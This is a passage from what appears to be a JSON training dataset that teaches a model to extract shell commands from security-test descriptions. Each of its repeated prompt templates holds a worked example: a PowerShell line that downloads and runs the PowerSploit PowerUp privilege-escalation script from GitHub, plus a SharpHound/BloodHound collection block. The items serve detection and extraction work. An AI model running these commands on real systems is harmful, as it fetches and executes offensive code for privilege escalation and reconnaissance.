[Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\\Windows\\System32\\config or c:\\Windows\\System32\\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries may use command line tools to discover specific processes in preparation of further attacks. \nExamples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test uses the IOKit API to load a kernel module for macOS.\nHarcoded to use SoftRAID kext\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Check internet connection using PowerShell's Test-NetConnection cmdlet and the ICMP/Ping protocol. The default target is 8.8.8.8 (Google Public DNS).\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.\nUpon successful execution a listing of the policy implemented will display.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test emulates Mimic ransomware's ability to enable multiple RDP sessions per user by modifying the fSingleSessionPerUser value within the Terminal Server registry key. \nSee [Mimic Ransomware Overview] (https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
